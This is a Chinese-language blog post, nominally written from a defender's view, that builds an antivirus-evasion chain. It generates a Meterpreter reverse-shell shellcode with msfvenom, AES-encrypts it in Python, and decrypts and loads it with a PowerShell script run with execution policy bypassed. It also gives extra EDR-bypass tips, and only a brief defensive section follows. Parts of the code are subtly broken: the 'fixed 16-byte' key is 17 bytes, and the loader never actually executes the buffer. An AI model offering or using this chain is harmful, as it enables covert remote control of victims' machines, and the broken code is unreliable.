<pre><code>## 0x01 从防御视角看加密免杀

在一次蓝队演练中,我的任务是分析某未知恶意样本的行为。虽然EDR和杀软都标记该样本“无威胁”,但通过手动检查内存,我发现它在加载后会动态解密一段Shellcode并直接执行,完全绕过了静态和动态检测。结合其流量分析,我确认它使用了高度定制化的加密机制,避免了流量和文件特征暴露。
这让我反思:如果我是攻击者,我该如何武器化加密Shellcode,去规避检测?
今天的目标就是复现并深入分析这个思路。我会展示如何通过 Python 加密一段恶意Shellcode,并用 PowerShell 在目标环境中解密加载,实现免杀效果。写这篇文章不是为了鼓励攻击,而是帮助大家理解攻击者的思路,强化防御能力。
---
0x02 免杀核心:破解EDR的检测链
当我们谈到免杀,核心问题是:检测工具到底是怎么识别恶意代码的?
EDR(终端检测响应)和杀软的检测手段通常包括以下几种:
- 静态分析:扫描文件中的恶意特征,比如标准Shellcode的固定模式。
- 行为分析:捕获恶意行为,比如创建远程线程、调用
VirtualAlloc等。 - 内存分析:监控内存中可疑的代码执行。
- 流量分析:识别C2通信的特征。
为了绕过这些检测,我们需要:
- 加密原始Payload,让静态分析无从下手。
- 动态解密后直接执行,避免行为分析发现异常。
- 内存级伪装,让Shellcode看起来像正常数据。
- 流量混淆,伪装成合法协议。
以下章节,我会从实际开发出发,构建一条完整的攻击链,从加密Shellcode到目标机器执行,同时分享应对防御的技巧。
---
0x03 工具链准备:搭建你的攻击实验室
环境配置
为了复现攻击场景,我们需要一个简单的实验室:
- 攻击者机器:Kali Linux,安装
Python3和msfvenom。 - 目标机器:Windows10 (禁用杀软),安装
PowerShell 5.0。 - 调试工具:x64dbg(调试Shellcode加载)。
生成基础Shellcode
我们先用 msfvenom 生成一段基础的Meterpreter反弹Shellcode,监听端口为 4444:</code></pre>bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin <pre><code>这段 shellcode.bin 就是我们加密的原始Payload。
> 注意:千万不要直接用这段代码执行测试,它目前会被杀软秒杀。接下来的重点是如何加密和伪装它。
---
0x04 Payload加密的艺术:Python实现
要让Shellcode绕过EDR检测,我们可以用自定义加密算法对其进行加密。这里我们使用AES加密,因为它具有较强的抗分析能力。
加密代码
以下是用于加密Shellcode的Python脚本:</code></pre>python from Crypto.Cipher import AES import base64

加密密钥:这里为了演示简单使用了16字节固定密钥
KEY = b'mysecretkey123456'
def pad(data):
AES加密需要块对齐,填充到16字节
return data + (16 - len(data) % 16) * b'\x00'
def encrypt_shellcode(shellcode_path, output_path):
读取原始Shellcode
with open(shellcode_path, 'rb') as f: shellcode = f.read()
填充并加密
cipher = AES.new(KEY, AES.MODE_ECB) encrypted_shellcode = cipher.encrypt(pad(shellcode))
Base64编码便于传输
encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode)
保存加密结果
with open(output_path, 'wb') as f: f.write(encrypted_shellcode_b64)
print(f"[+] Encrypted shellcode saved to: {output_path}")
使用方法
encrypt_shellcode('shellcode.bin', 'encrypted_shellcode.txt') <pre><code>
加密结果
经过加密后,原始Shellcode不再是可执行的机器码,而是一段Base64编码的加密数据。这样能有效躲避静态分析。
---
0x05 解密与执行:目标环境的加载策略
接下来,我们需要在目标环境中解密并执行这个加密的Shellcode。这里我选择使用PowerShell,因为它自带强大的内存加载功能。
解密加载代码
以下是PowerShell代码,用于解密并执行Shellcode:</code></pre>powershell
AES解密的密钥(需与加密端保持一致)
$KEY = [System.Text.Encoding]::UTF8.GetBytes("mysecretkey123456")
解密函数
function Decrypt-Shellcode { param ( [string]$EncryptedFile )
读取加密的Shellcode
$EncryptedData = Get-Content $EncryptedFile $EncryptedBytes = [Convert]::FromBase64String($EncryptedData)

初始化AES解密器
$AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $KEY $AES.Mode = [System.Security.Cryptography.CipherMode]::ECB $Decryptor = $AES.CreateDecryptor()
解密Shellcode
$DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 0, $EncryptedBytes.Length) return $DecryptedBytes }
执行Shellcode
function Execute-Shellcode { param ( [byte[]]$Shellcode )
分配内存并复制Shellcode
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( [System.IntPtr]::Size -eq 4 ? [System.IntPtr]::Zero : [System.UInt64]::Zero, [type]@([System.IntPtr],[System.IntPtr],[uint32],[uint32]) )
$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Buffer, $Shellcode.Length)
执行Shellcode
$Thread = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0) [System.Runtime.InteropServices.Marshal]::WriteIntPtr($Thread, $Buffer) Write-Host "[+] Shellcode executed!" }
主流程
$EncodedFile = "encrypted_shellcode.txt" $DecryptedShellcode = Decrypt-Shellcode -EncryptedFile $EncodedFile Execute-Shellcode -Shellcode $DecryptedShellcode <pre><code>
配置与执行
- 把
encrypted_shellcode.txt传到目标机。 - 将上述PowerShell代码保存为
loader.ps1。 - 在目标机上通过管理员权限运行:
`powershell powershell -ExecutionPolicy Bypass -File loader.ps1 `
成功后,目标机会建立一个反弹连接,攻击者可以通过Metasploit控制。
---
0x06 免杀对抗:EDR绕过的细节优化
在真实场景中,简单的AES加密可能无法完全骗过先进的EDR。以下是进一步改进的方法:
- 动态密钥生成:每次生成不同的加密密钥,通过网络通信动态分发密钥。
- 流量混淆:将加密后的Shellcode伪装成合法数据包,比如图片或JSON。
- 内存保护:在解密后立即清除内存中的明文Shellcode,防止EDR检测到。
---
0x07 提升防御:如何识破这一伎俩
为了防御这样的攻击,蓝队可以采取以下措施:
- 强化内存扫描:检测动态解密后的Shellcode特征。
- 监控PowerShell活动:记录敏感函数调用和异常行为。
- 流量分析:对网络中可疑的Base64数据进行分析。
- 沙盒检测:通过行为分析捕捉Shellcode的执行路径。
---

0x08 总结与反思
Shellcode加密免杀是攻击者的常用手段,但并非无懈可击。通过本次复现,我更深刻地认识到:
- 加密只是延缓检测,攻防的博弈永无止境。
- 防御者需要从行为特征和流量中找到破绽,而不是单纯依赖工具。
希望这篇文章能帮助你更好地理解攻击者的视角,同时强化自己的防御能力!</code></pre>